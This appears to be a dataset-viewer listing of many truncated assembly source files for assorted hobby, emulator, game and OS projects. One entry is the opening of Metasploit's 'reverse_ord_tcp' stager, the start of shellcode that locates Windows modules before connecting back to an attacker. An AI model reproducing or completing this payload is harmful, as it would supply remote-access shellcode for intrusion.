content stringlengths 23 1.05M |
|---|
.8086
.model large, C
include dos16l_.inc
; int rename16l(const char* old_file, const char* new_file);
public rename16l
.CODE
rename16l PROC USES di ds es old_file:DWORD, new_file:DWORD
IS_NULL_PTR old_file
mov ax, 9
je short f_end
IS_NULL_PTR new_file
m... |
PLC_36156E: dc.w Frame_36157E-PLC_36156E
dc.w Frame_361586-PLC_36156E
dc.w Frame_36158E-PLC_36156E
dc.w Frame_361592-PLC_36156E
dc.w Frame_361598-PLC_36156E
dc.w Frame_36159C-PLC_36156E
dc.w Frame_3615A0-PLC_36156E
dc.w Frame_3615A4-PLC_36156E
Frame_36157E: dc.w 2
dc.w 1
dc.w $2F
dc.w $122
Frame_361... |
@ Assembly code to perform 40*50
.main:
addi x20, x0, 40
addi x21, x0, 50
mul x22, x20, x21
.print x22
end |
; icalc.asm
extern printf
section .data
abit db "%d",10,0
number1 dq 5
section .bss
section .text
global main
main:
mov r15,[number1]
bloop:
mov rdi,abit
mov rsi,r15
mov rax,0
call printf
dec r15
cmp r15,0
jne bloop
|
TowerMons6:
db $0F
db 21,GASTLY
db 22,GASTLY
db 23,GASTLY
db 24,GASTLY
db 20,GASTLY
db 19,GASTLY
db 26,HAUNTER
db 22,CUBONE
db 24,CUBONE
db 28,HAUNTER
db $00
|
;; * Required comment?
DEALY .set 49800 ;
COUNT .set 1000 ;
.asg "49800", DELAY ;
.asg "1000", COUNT ;
.global doclock
doclock:
LDI r1, DELAY ; Setup the delay counter
mov r0, r14 ; Setup the cycle counter (first argument)
MAINLOOP:
CLR r30, r30.t5 ; set the clock to be low
CLR r30, r30.t5 ; set ... |
section .stivalehdr
.stack: dq stack.top
.flags: dw 1
.framebuffer_width: dw 0
.framebuffer_height: dw 0
.framebuffer_bpp: dw 0
.entry_point: dq alt
section .stivale2hdr
db 1 ; dummy
section .text
global kmain
kmain:
mov ebx, string1
call puts
jmp next
alt:
mov ebx, string2
... |
.686p
.mmx
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
include ..\..\lib\gfp.inc
include ..\..\lib\ecp.inc
.code
ECP_Copy proc ptrA:DWORD, ptrB:DWORD
pushad
mov esi, dword ptr [esp+20h+4]
mov edi, dword ptr [esp+20h+4+4]
assume esi: ptr ECPOINT
assume edi: ptr ECPOINT
m... |
SECTION code_clib
PUBLIC w_respixel
EXTERN res_MODE0
EXTERN res_MODE2
EXTERN res_MODE3
EXTERN res_MODE4
EXTERN __zx_screenmode
defc NEEDres = 1
w_respixel:
ld a,(__zx_screenmode)
and a
jp z,res_MODE0
dec a
jp z,res_MODE2
dec ... |
Name: yst_svld.asm
Type: file
Size: 45001
Last-Modified: '2016-05-13T04:52:56Z'
SHA-1: 0E9EBAE719FAA8297029535D87C5EE08F3AD2927
Description: null
|
; void *sp1_TileEntry(uchar c, void *def)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_TileEntry_callee
EXTERN asm_sp1_TileEntry
_sp1_TileEntry_callee:
pop af
pop bc
pop de
push af
jp asm_sp1_TileEntry
|
section .text
global main
global putstr
global print_digits
global exit
global fib
global strlen
fib: ; max input of 46 before overflow stuff
mov ecx, eax ; move counter to ecx
xor ebx, ebx ; prev
mov eax, 1 ; current
_fib_loop:
; print number
push rax
push... |
.include "../m644Pdef.inc"
.def treg =r14 ;temp reg for ISR
.def SregSaver =r15 ;Storage of the SREG, used in ISR
.def t =r16 ;Main temporary register
;R17-R24 is the local variables pool
.def tt =r25 ;Temp reg for ISR
WaitXms:
ldi yl, 10
rcall wms
sbiw x, 1
brne WaitXms
ret
wms:
ldi ... |
;
; COW : Character Oriented Windows
;
; cbfree.asm : return current size of available pool or sb's.
include kernel.inc
include galloc.inc
;----------------------------------------------------------------------------
sBegin DATA
externW <pGlobalHeap>
sEnd DATA
;----------------------------------------------... |
;
; Paging
;
; init_pt.asm
;
; Initialize the page table
;
; The Page Table has 4 components which will be mapped as follows:
;
; PML4T -> 0x1000 (Page Map Level 4 Table)
; PDPT -> 0x2000 (Page Directory Pointer Table)
; PDT -> 0x3000 (Page Directory Table)
; PT -> 0x4000 (Page table)
;
; Clear the memory in th... |
;--- sample how to use Unicode in assembly
;--- assemble the ANSI version: jwasm -coff Win32_6.ASM
;--- assemble the UNICODE version: jwasm -coff -DUNICODE Win32_6.ASM
;--- link:
;--- MS Link: link /subsystem:console Win32_6.OBJ kernel32.lib
;--- JWLink: jwlink format win pe file Win32_6.OBJ lib kernel32.lib
... |
# ORG 8000
LXI B,341F
INX B
LXI D,231E
DCX D
HLT
|
;--- Win32/64 console application, uses WinInc v2+.
;--- It can be used to generate both Win32 and Win64 binaries:
;--- 32bit:
;--- jwasm -coff -I\WinInc\Include WinXX_1.asm
;--- link /subsystem:console /Libpath:\WinInc\Lib WinXX_1.obj
;--- 64bit:
;--- jwasm -win64 -Zp8 -I\WinInc\Include WinXX_1.asm
;--- link /sub... |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Microsoft Research Singularity
;;;
;;; Copyright (c) Microsoft Corporation. All rights reserved.
;;;
;;; This file contains ARM-specific assembly code.
;;;
;********************************************... |
SECTION code_fcntl
PUBLIC zx_01_output_char_32_stdio_msg_ictl
PUBLIC zx_01_output_char_32_stdio_msg_ictl_0
EXTERN asm_vioctl_driver, error_einval_zc, l_offset_ix_de
EXTERN console_01_output_char_stdio_msg_ictl_0
zx_01_output_char_32_stdio_msg_ictl:
; ioctl messages understood:
;
; defc IOCTL_OTERM_FONT ... |
@5
D=A
@0
M=D
@3
D=A
@1
M=D
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/06/max/Max.asm
// Computes R2 = max(R0, R1) (R0,R1,R2 refer to RAM[0],RAM[1],RAM[2])
@R0
D=M ... |
SECTION "ROM Bank 05", ROMX[$4000], BANK[$05]
db $70, $00, $70, $20, $72, $00, $72, $20
db $74, $00, $76, $00, $78, $00, $7A, $00
db $76, $20, $74, $20, $7A, $20, $78, $20
db $7C, $00, $7C, $20, $40, $00, $40, $20
db $42, $00, $42, $20, $44, $00, $46, $00
db $48, $00, $4A, $00, $46,... |
CSEG AT 0000h
0000 023800 LJMP L0001
0003 02 DB 002h
0004 00 DB 000h
0005 26 DB 026h ; '&'
0006 53 DB 053h ; 'S'
0007 A9 DB 0A9h
0008 FB DB 0FBh
0009 32 DB 032h ; '2'
000A 32 DB 032h ; '2'
000B 02 DB 002h
000C 00 DB 000h
000D 0A DB 0... |
PokedexTypeSearchStrings:
; entries correspond with PokedexTypeSearchConversionTable (see data/types/search_types.asm)
db " ---- @"
db " NORMAL @"
db " FIRE @"
db " WATER @"
db " GRASS @"
db "ELECTRIC@"
db " ICE @"
db "FIGHTING@"
db " POISON @"
db " GROUND @"
db " FLYING @"
db "PSYCHIC @"
db " BU... |
INCLUDE Irvine32.inc
INCLUDE Macros.inc
.data
strg BYTE 200 DUP(0)
strg2 BYTE 200 DUP(0)
new BYTE 200 DUP(0)
count DWORD 0
ediCounter DWORD 0
.code
;========== M A I N =============;
main PROC
call read
mov edx, OFFSET strg
mov edi, OFFSET strg2
mov esi, OFFSET new
call compares
exit
main... |
%PAGESIZE 59 ; Turbo assembler formatting codes
%BIN 13
%LINUM 3
; Copyright (c) 1993 Colin Plumb. This code may be freely
; distributed under the terms of the GNU General Public Licence.
.model large
.code
; A core operation in IDEA is multiplication modulo 65537.
; The valid inputs, 1 through 66636 inclusive... |
SFX_Cry18_2_Ch5:
duty_cycle_pattern 1, 1, 0, 0
square_note 10, 15, 5, 1664
square_note 3, 14, 2, 1696
square_note 3, 15, 2, 1728
square_note 3, 14, 2, 1760
square_note 3, 13, 2, 1792
square_note 3, 12, 2, 1760
square_note 3, 13, 2, 1728
square_note 8, 12, 1, 1696
sound_ret
SFX_Cry18_2_Ch6:
duty_cycle_patte... |
;*
;* CW : Character Windows
;*
;* syd_tail.asm : trailer file for all SYD drivers
sEnd DRV
|
IF __register_sp < -1
IF __CPU_INTEL__
ld hl,(-__register_sp) ; stack location is stored at memory address
ld sp,hl
ELSE
ld sp,(-__register_sp) ; stack location is stored at memory address
ENDIF
ELSE
IF __register_sp != -1
ld sp,__register_sp ; stack is at fixed addre... |
EXPORT ; syntax error
EXPORT ! ; syntax error 2
EXPORT nonExistentLabel ; label not found error
EXPORT fwdRefNormal
EXPORT .fwdRefLocal ; this is error, the main label here is undefined ("_")
EXPORT fwdRefNormal.fwdRefLocal
EXPORT @fwdRe... |
include "../hardware.inc"
section "Player hair ROM", rom0
;; Updates the players palette based on how many dashes they have
;; @param b: Dash count
PlayerHairPalette::
ld hl, wObjectPlayer + OAMA_FLAGS
ld a, [hl]
and a, ~OAMF_PALMASK
ld d, a
; We can compare against one so we can check less-than ... |
.8086
.model small
.stack 2048
dseg segment para public 'data'
; VARIAVEIS...
OLDVECTOR BYTE 2h,4h,8h,10h,20h,40h
NUMELEM BYTE 6H
NEWVECTOR WORD 6 dup(?)
dseg ends
cseg segment para public 'code'
assume cs:cseg, ds:dseg
main proc
mov ax, dseg
mov ds, ax
; CODIGO...
... |
copyright zengfr site:http://github.com/zengfr/romhack
001590 lea ($20,A0), A0
003BCC jsr $f98.w [enemy+ 0]
003EF0 clr.b ($cd,A0) [enemy+ 0]
004206 tst.w ($c,A0) [enemy+ 0]
004232 tst.w ($c,A0) [enemy+ 0]
00563C tst.b (A6) [enemy+ 8]
00563E beq $5684 [enemy+ 0]
007CC4 move.b #$4, ($97,A0) ... |
# Factorial in MIPS assembly
# by George Z. Zachos
.globl main
.text
main:
addi $a0, $zero, 13
jal fact
add $a0, $v0, $zero
li $v0, 1
syscall
beq $v0, 1, test
exit:
li $v0, 10
syscall
fact:
slti $t0, $a0, 1
beq $t0, $zero, else
addi $v0, $zero, 1
jr $ra
else:
addi $sp, $sp, -8
sw... |
assume cs:codesg
data segment
db '1975','1976','1977','1978','1979','1980','1981','1982', '1983'
db '1984', '1985', '1986', '1987', '1988', '1989', '1990', '1991', '1992'
db '1993', '1994', '1995'
dd 16,22,382,1356,2390,8000,16000,24486,50065,97479,140417,197514
dd 345980,590827,803530,1183000,1843000,27... |
%define ARCH_AARCH64 0
%define ARCH_ALPHA 0
%define ARCH_ARM 0
%define ARCH_AVR32 0
%define ARCH_AVR32_AP 0
%define ARCH_AVR32_UC 0
%define ARCH_BFIN 0
%define ARCH_IA64 0
%define ARCH_M68K 0
%define ARCH_MIPS 0
%define ARCH_MIPS64 0
%define ARCH_PARISC 0
%define ARCH_PPC 0
%define ARCH_PPC64 0
%define ARCH_S390 0
%def... |
;
; MicroBEE Stdio
;
; (HL)=char to output to console
;
; Stefano Bodrato - 2016
;
;
; $Id: fputc_cons.asm,v 1.1 2016-11-15 08:11:11 stefano Exp $
;
SECTION code_clib
PUBLIC fputc_cons_native
.fputc_cons_native
ld hl,2
add hl,sp
ld a,(hl)
cp 12
jr nz,nocls
ld a,$1a
.nocls
IF STANDARDESCAPECHARS
cp 10
EL... |
; Intel puts the registers in the following groups:
; - General-purpose registers
; - Segment registers
; - EFLAGS (program status and control) register
%include "lib/common_nasm.inc"
ENTRY
; # General purpose registers
; # ebp
; Stack base.
; Why it exists:
; http... |
; int bv_stack_empty(bv_stack_t *s)
SECTION code_adt_bv_stack
PUBLIC _bv_stack_empty
EXTERN _b_vector_empty
defc _bv_stack_empty = _b_vector_empty
|
.text
.global _start
_start:
xor $1234123, %rax
xor $1234, %eax
xor $1111, %ax
int $0x80
|
* ED - delete a line 1985 Tony Tebby QJUMP
*
section ed
*
xdef ed_dline
xdef ed_dscr
*
xref ed_snorm
xref ed_delln
xref ed_rewrt
xref edw_d5
*
include dev8_sbsext_ed_keydef
include dev8_sbsext_ed_data
*
ed_dline
... |
; Program 8.4
; SSE Packed Operations - NASM (64-bit)
; Copyright (c) 2019 Hall & Slonka
section .data
align 16 ; 16-byte alignment
vectorA: dd 1.2, 3.4, 5.6, 7.8
vectorB: dd 7.8, 5.6, 3.4, 1.2
section .bss
result: resd 4 ; space for storing results
section .text
global _main
_main:
movaps xmm0, [rel vectorA] ;... |
; void __cdecl ninja_freeVdfArray()
; Free reserved resources
global ninja_freeVdfArray
ninja_freeVdfArray:
resetStackoffset
pusha
reportToSpy NINJA_RELEASE_ARRAY
mov eax, [NINJA_PATCH_ARRAY+zCArray.array]
test eax, eax
jz .funcEnd
xor edi, edi
.ar... |
.code
; =======================================================================================
; Trampoline entry point
; =======================================================================================
Trampoline proc
;
; Don't save fastcall registers (RCX, RDX, R8, R9) and ignore first four XMM0-3 r... |
XREF MYRAM
XREF CNTVAL
XREF CNTVAL1
XREF COUNTREG
XDEF CAL_CHKSUM
CAL_CHKSUM
LDAA #CNTVAL
STAA COUNTREG
LDX #MYRAM
CLRA
B2 ADDA 1,X+
DEC COUNTREG
BNE B2
NEGA
STAA 0,X
RTS
END
|
; Patch for ASPI7DOS.SYS, Version 1.42
; Copyright (C) 2021 Michael Karcher (the patch, not the ASPI driver itself)
; This patch may be used and distributed according to the MIT License.
.386 ; ASPI7DOS already contains 386 stuff, so allow it for the patch, too
BIOSDriveInfo STRUC
BD_IsMyDrive db ?
BD_Ta... |
%ifdef CONFIG
{
"RegData": {
"RAX": "0",
"RBX": "1",
"RCX": "0xFFFFFFFFFFFFFFFF",
"RDX": "0",
"RSI": "0xFFFFFFFF",
"RDI": "1"
}
}
%endif
; Test with no overflow
mov rax, -1
mov rbx, 1
adox rax, rbx
; Test with overflow (flag set from previous adox)
mov rbx, 1
mov rcx, -1
adox r... |
.code
GetCountAsm proc
mov rax, 0
ret
GetCountAsm endp
end |
; Select file via DSEL-Select V001
include dev8_keys_thg
include dev8_keys_menu
include dev8_mac_xref
section utility
xdef mu_dsel
;+++
; This routine use directory-select
; Entry Exit
; D0.l error, 0 or +1 for ESC
; D1.l origin or -1 preserved
; D2.l sub-colour.w | colour.w
; A0... |
PROCESSOR 6502
; Compare top 2 ints on stack for equality
MAC cmpinteq ; @pull @push
cmpwordeq
ENDM
; Compare top 2 ints on stack for inequality
MAC cmpintneq ; @pull @push
cmpwordneq
ENDM
; Compare two ints on stack for less than
MAC cmpintlt ; @push
tsx
lda.wx stack+4
cmp.wx stack+2
lda.wx stack+... |
; general comments
; Create a program that searches a signed integer doubleword array of up to 5 elements for a particular value.
; Indicate the result of the search in register AL (1 when found, 0 when not found)
; preprocessor directives
.586
.MODEL FLAT
; external files to link with
; stack configuration
.STAC... |
INCLUDE "graphics/grafix.inc"
XLIB undrawb
LIB w_pixeladdress
; LIB l_cmp
;
; $Id: undrawb.asm,v 1.1 2010/11/16 19:41:11 stefano Exp $
;
; ***********************************************************************
;
; drawbox Timex hires version
;
.PIXEL
DEFB 0
.undrawb
ld ix,0
add ix,sp
ld l,(ix+8)
ld h,(ix... |
VermilionPokecenter_Script:
call Serial_TryEstablishingExternallyClockedConnection
jp EnableAutoTextBoxDrawing
VermilionPokecenter_TextPointers:
dw VermilionHealNurseText
dw VermilionPokecenterText2
dw VermilionPokecenterText3
dw VermilionTradeNurseText
VermilionHealNurseText:
TX_POKECENTER_NURSE
VermilionPok... |
; Draw a Spirograph
; John Morrice 2011
; Released under the WTFPL
section .text
extern sin, cos
; Draw the spiro into the vertex array
; xmm0: moving
; xmm1: fixed
; xmm2: offset
; rdi: vertex array
; rsi: length of vertex array
draw_spiro:
push rbp
mov rbp, rsp
sub rsp, 56
; rbp - 8 is t... |
;-------------------------------------
; fibonacci.nasm
; Leia o README.md para detalhes
;-------------------------------------
; Condições iniciais
; RAM[10] = 0
leaw $0, %A
movw %A, %D
leaw $10, %A
movw %D, (%A)
; RAM[11] = 1
leaw $1, %A
movw %A, %D
leaw $11, %A
movw %D, (%A)
; Variável de índice de iteração inic... |
* Given a channel address, make a name and ID in the row entry
* table, and point the current object to the name.
*
* Registers:
* Entry Exit
* D1 channel number preserved
* D2 pointer to cdb preserved
* ... |
TITLE RTM86 - 8086 Runtime Module Dispatcher
;***
; RTM86 - 8086 Runtime Module Dispatcher
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
; Contains the runtime module entry point for direct
; execution which outputs the copyright messages.
; It also contains the RTM software interrupt handler
; and the ru... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT: Socket project
MODULE: resolver
FILE: resolverUtils.asm
AUTHOR: Steve Jang, Dec 14, 1994
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 1... |
;
; Galaksija C Library
;
; getk() Read key status
;
; Stefano Bodrato - Apr. 2008
;
;
; $Id: getk.asm,v 1.2 2015/01/19 01:33:20 pauloscustodio Exp $
;
PUBLIC getk
.getk
call $cf5
ld l,a
ld h,0
ret
|
;
; Enterprise 64/128 C Library
;
; Fputc_cons
;
; Stefano Bodrato - 2011
;
;
; $Id: fputc_cons.asm,v 1.5 2016/05/15 20:15:45 dom Exp $
;
SECTION code_clib
PUBLIC fputc_cons_native
;
; Entry: hl = points to char
;
.fputc_cons_native
ld hl,2
add hl,sp
ld a,(hl)
IF STANDARDESCAPECHARS
cp 10... |
; ----------------------------------------------------------------------------
; Altair, CIDLESA's 1981 arcade game remade for the ZX Spectrum and
; Amstrad CPC.
; ----------------------------------------------------------------------------
; ----------------------------------------------------------------------------... |
@Assembly code to perform 31*29-50
.main:
addi x1, x0, 31
addi x2, x0, 29
mul x3, x1, x2
addi x3, x3, -50
.print x3
end |
.data
_v: .word 29,28,27,26,25,24,23,22,21,-1
_k: .word 2
.text
.globl main
main:
la $a0, _v
lw $a1, _k
jal swap
li $v0, 10
syscall
swap:
sll $t0, $a1, 2
add $t0, $t0, $a0
lw $t1, 0($t0)
lw $t2, 4($t0)
sw $t1, 4($t0)
sw $t2, 0($t0)
jr $ra
|
[XCX_QTE_DOLLLOST_ALL] #################################################################################################
moduleMatches = 0xF882D5CF, 0x30B6E091, 0xAB97DE6B ; 1.0.1E, 1.0.2U, 1.0.1U
0x027F9464 = SetInsure:
0x023EEFB0 = getPropAccessor:
.origin = codecave
_setDestructionExcellent:
; QTE result is E... |
org $8000
include "include.asm"
macro no_params
ret
endm
start: no_params
add a,start/2
ld hl, start-10*100+50/2
ld de,finish*40
ret
call start / 2 * ((2 << 2) >> 2)
add de,49152
jr start
jr $-1
jr nc,.loop
.loop
jr nz,.loop
ld hl,$-1... |
; L1104.asm To Space Station Apocalypse
; Generated 04.22.2001 by mlevel
; Modified 04.22.2001 by Abe Pralle
INCLUDE "Source/Defs.inc"
INCLUDE "Source/Levels.inc"
VAR_TAKEOFFPOS EQU 0
;---------------------------------------------------------------------
SECTION "Level1104Gfx1",ROMX
;-------------------------------... |
org 0x0000
start:
call setup_check
call setup_handler
call setup_sched
call setup_threads
call setup_drivers
mov si, strings.welcome
call print_string
call panic
%include "lib.asm"
%include "sched.asm"
%include "check.asm"
%include "handler.asm"
%include "threads.asm"
%include "drivers.asm"
%include "string... |
; Copyright 2022 Andreas Herzig
; Licence: MIT
; Info: https://wiki.osdev.org/PIT
PIT_CHN0 equ 0x40
PIT_CHN1 equ 0x41
PIT_CHN2 equ 0x42
PIT_CMD equ 0x43
PIT_OS_FLAGS equ 0b00010110
; xx...... channel
; ..xx.... access mode, 01=lobyte only
; ....xxx. operating mode, 3=square wave
; .......0 0=binary 1=BCD
; ... |
; default hidden/shown objects for each map
MapHSPointers:
; entries correspond to map ids
table_width 2, MapHSPointers
dw PalletTownHS
dw ViridianCityHS
dw PewterCityHS
dw CeruleanCityHS
dw NoHS
dw NoHS
dw NoHS
dw NoHS
dw NoHS
dw NoHS
dw SaffronCityHS
dw NoHS
dw NoHS
dw Route2HS
dw NoHS
dw Route4HS
... |
; yellow has its own format.
; entry = trainerclass, trainerid, moveset+, 0
; moveset = partymon location, partymon's move, moveid
SpecialTrainerMoves:
db BUG_CATCHER,$f
db 2,2,TACKLE
db 2,3,BIDE
db 0
db YOUNGSTER,$e
db 1,4,FISSURE
db 0
db BROCK,$1
db 2,3,ROCK_TOMB
db 2,4,BIDE
db 4,1,ABSORB
db 4,2,WATE... |
#d x ; = 0x64617461312e747874
#d incbinstr(x) ; = 0x18
x = "data1.txt" |
INCLUDE "defines.inc"
SECTION "Title Screen", ROM0
LoadTitleScreen::
call HideAllObjects
; Load tiles
ld de, TitleScreen9000Tiles
ld hl, _VRAM9000
ld bc, TitleScreen9000Tiles.end - TitleScreen9000Tiles
rst LCDMemcopy
ld de, TitleScreen8800Tiles
ld h... |
TITLE T2_YWT
DATASG SEGMENT
FLD1B DB 'personal computer'
FLD2B DB 32
FLD3B DB 20H
FLD4B DB 01011001B
FLD5B DB '32654'
FLD6B DB 10 DUP(0)
FLD7B DB 'PART1', 20, 'PART2', 50, 'PART3', 14
FLD1W DW 0FFF0H
FLD2W DW 01011001B
FLD3W DW FLD7B
FLD4W DW 5, 6, 7, ... |
TITLE Repeat Block Examples (Repeat.asm)
; This program demonstrates the REPEAT, FOR,
; FORC, and WHILE directives.
; Last update: 2/30/02
INCLUDE Irvine32.inc
INCLUDE Macros.inc
COURSE STRUCT
Number BYTE 9 DUP(?)
Credits BYTE ?
COURSE ENDS
; A semester contains an array of courses.
SEMESTER STRUC
Cou... |
.data
message: .asciiz "This is a message\n"
number: .double 50.0
.text
la $a0, message # general message to print will be loaded to $a0
ldc1 $f12, number # double number to print will be loaded to $f12
addi $v0, $zero, 58 # service 58 to display a double dialog box
syscall
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: Socket
MODULE: TCP/IP Driver
FILE: tcpipLink.asm
AUTHOR: Jennifer Wu, Jul 8, 1994
ROUTINES:
Name Description
---- -----------
... |
.align $100
/************************************************
Run equal-byte unpack (Screen)
x: source data lo-byte
y: source data hi-byte
a: destination hi-byte
*************************************************/
upk:
stx upk_src + 1
sty upk_src + 2
sta upk_dst + 2
lda #$00
sta upk_dst + 1
jsr upk_re... |
aLine 0
gNew delPtr
gMove delPtr, Root
aLine 1
gBne Root, null, 3
aLine 2
Exception EMPTY_LIST
aLine 4
gBne Root, Rear, 6
aLine 5
gMove Root, null
aLine 6
gMove Rear, null
Jmp 8
aLine 9
nMoveRelOut Root, Root, 100
gMoveNext Root, Root
aLine 10
pSetNext Rear, Root
aLine 12
pDeleteNext delPtr
nDelete delPtr
gDele... |
db "POISON GAS@" ; species name
db "If one gets close"
next "enough to it when"
next "it expels poison-"
page "ous gas, the gas"
next "swirling inside it"
next "can be seen.@"
|
org 0000H
ajmp main
org 30H
main:
mov P0, #00000001B
lcall delay
mov P0, #00000010B
lcall delay
mov P0, #00000100B
lcall delay
mov P0, #00001000B
lcall delay
mov P0, #00010000B
lcall delay
mov P0, #00100000B
lcall delay
... |
LoadBackground:
LDA $2002 ; read PPU status to reset the high/low latch
LDA #$20
STA $2006 ; write the high byte of $2000 address
LDA #$00
STA $2006 ; write the low byte of $2000 address
LDX #$00 ; start out at 0
JMP StartLoadNameTable
NAMETABLEOUT ... |
OUT ; Output the value of the A-register
ADD 15 ; Put the value from memory location 15 in the B-register, and store A+B in the A-register
JC 4 ; Jump to instruction 4 if the A-register is past 255
JMP 0 ; Jump to instruction 0
HLT ; Halt the computer
ORG 15 ; Change memory location to ... |
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 170
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %74 %151
OpExecutionMode %4 Or... |
/*------------------------------------------------------------------------
|
FILE : start.asm |
DATE : Wed, Aug 25, 2010 |
DESCRIPTION : Res... |
.include "myMega8.h"
; r3 => has eeprom-Data
; r1 => has Tone
; r2 => has ToneLength
.equ DCNT,0x0000 ; Adresse des Zaehlers im EEPROM
;irq Vector
.org 0x0000
rjmp OnReset
.org 0x0006
rjmp TimerComp ; Timer/Counter1 Compare Match A
.org 0x0020
TimerComp:
push A
sbi EECR,0 ; set bit 0 -> eeprom Read!
in r3... |
; void __CALLEE__ sp1_IterateUpdateArr_callee(struct sp1_update **ua, void *hook)
; 03.2006 aralbrec, Sprite Pack v3.0
; sinclair zx version
SECTION code_clib
SECTION code_temp_sp1
PUBLIC sp1_IterateUpdateArr_callee
EXTERN asm_sp1_IterateUpdateArr
sp1_IterateUpdateArr_callee:
pop hl
pop ix
ex (sp),hl
... |
.z180
#target bin
#include "z180registers.asm"
#include "bootbios.asm"
; There's only a CODE section just now
#code CODE, $2000 ; the binary image is loaded here
ld hl, message
call asci0_xmit
; set MMU up for all RAM
xor a
out0 (BBR), a
out0 (CBR), a
ld a, $F0
out0 (CBAR), a
; copy the fill b... |
nop
set 3 0x4
set 4 0x6
minus 3 4
set 1 0xAA
set 2 0xAA
minus 1 2
nop
div 2 1
set 5 0xFFFF
set 6 0xFFFF
plus 5 6
nop
nop
cmp 5 6
cmp 1 2
nop
end |
.MODEL SMALL
.STACK 64
.DATA
UPPER_WALL_START_ROW DW 30
UPPER_WALL_START_COL DW 20
UPPER_WALL_END_ROW DW 35
UPPER_WALL_END_COL DW 280
LEFT_WALL_START_ROW DW 35
LEFT_WALL_START_COL DW 20
LEFT_WALL_END_ROW DW 190
LEFT_WALL_END_COL DW 25
LOWER_WALL_START_ROW DW 185
LOWER_WALL_STA... |
* Set pointer limits V1.00 1986 Tony Tebby QJUMP
*
section driver
*
xdef pt_splm
*
include dev8_keys_con
include dev8_keys_err
*
pt_splm
movem.l d1/d2,pt_minxy(a3) ; set limits
st pt_ptlim(a3) ; and flag
moveq #0,d0
r... |
/* power.asm
* Computes the integer power: R0 <- ARG[0] ^ ARG[1]
*
* Programmer: Mayer Goldberg, 2010
*/
POWER:
MOV(R1, STARG(0)); /* A */
MOV(R2, STARG(1)); /* B */
CMP(R2, IMM(0));
JUMP_EQ(L_POWER_A_0);
MOV(R3, R2);
AND(R3, IMM(1));
CMP(R3, IMM(0));
JUMP_EQ(L_POWER_A_EVEN);
SHR(R2, IMM(1));
... |
;
; LZ48 decrunch
; input
; hl compressed data adress
; de output adress of data
;
; output
; hl last adress of compressed data read (you must inc once for LZ48 stream)
; de last adress of decrunched data write +1
; bc always 3
; a always zero
; lx undetermined
; flags (inc a -> 0)
org ... |
DiglettsCave_h:
db CAVERN ; tileset
db DIGLETTS_CAVE_HEIGHT, DIGLETTS_CAVE_WIDTH ; dimensions (y, x)
dw DiglettsCaveBlocks, DiglettsCaveTextPointers, DiglettsCaveScript ; blocks, texts, scripts
db $00 ; connections
dw DiglettsCaveObject ; objects
|
include w2.inc
include noxport.inc
include consts.inc
include structs.inc
createSeg res_PCODE,resn,byte,public,CODE
; DEBUGGING DECLARATIONS
ifdef DEBUG
midResn equ 7 ; module ID, for native asserts
endif ;/* DEBUG */
; EXPORTED LABELS
; EXTERNAL FUNCTIONS
externFP <ReloadSb>
extern... |
section .text
global _start
_start:
mov eax, 45
xor ebx, ebx
int 80h
add eax, 122000
mov ebx, eax
mov eax, 45
int 80h
cmp eax, 0
jl exit
mov edi, eax
sub edi, 4
mov ecx, 4096
xor eax, eax
std
rep stosd
cld ... |
; ----------------------------------------------------------------------------
; Altair, CIDLESA's 1981 arcade game remade for the ZX Spectrum and
; Amstrad CPC.
; ----------------------------------------------------------------------------
; ----------------------------------------------------------------------------... |
; *******************************************************************************************
; *******************************************************************************************
;
; Name : basic.asm
; Purpose : Basic start up
; Date : 2nd June 2019
; Author : paul@robsons.org.uk
;
; *****************... |
;
; Metasploit Framework
; http://www.metasploit.com
;
; Source for reverse_ord_tcp (stager)
;
; Authors: hdm <hdm@metasploit.com>, vlad902 <vlad902@gmail.com>, spoonm <spoonm@no$email.com>
; Size : 179
;
cld
xor ebx,ebx
mov eax,[fs:ebx+0x30]
mov eax,[eax+0xc]
mov edx,[eax+0x1c]
mov edx,[edx]
mov esi... |
; This file contains symbolic test index that serves as input to PRINT_SLOT, which store the index at x2700, which will
; be loaded into R1.
.ORIG x2700
; KLC3: INPUT_FILE
; KLC3: SET_DATA_DEFAULT_FLAG READ_ONLY
; KLC3: COMMENT This file contains the test input index.
.BLKW #1 ; KLC3: SYMBOLIC as R1_VALUE
... |
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
; Serial libraries
; serial control commands
;
; ------
; $Id: ozdatabits.asm,v 1.3 2016/06/27 21:25:36 dom Exp $
;
SECTION code_clib
PUBLIC ozdatabits
PUBLIC _ozdatabits
ozdatabits:
_oz... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.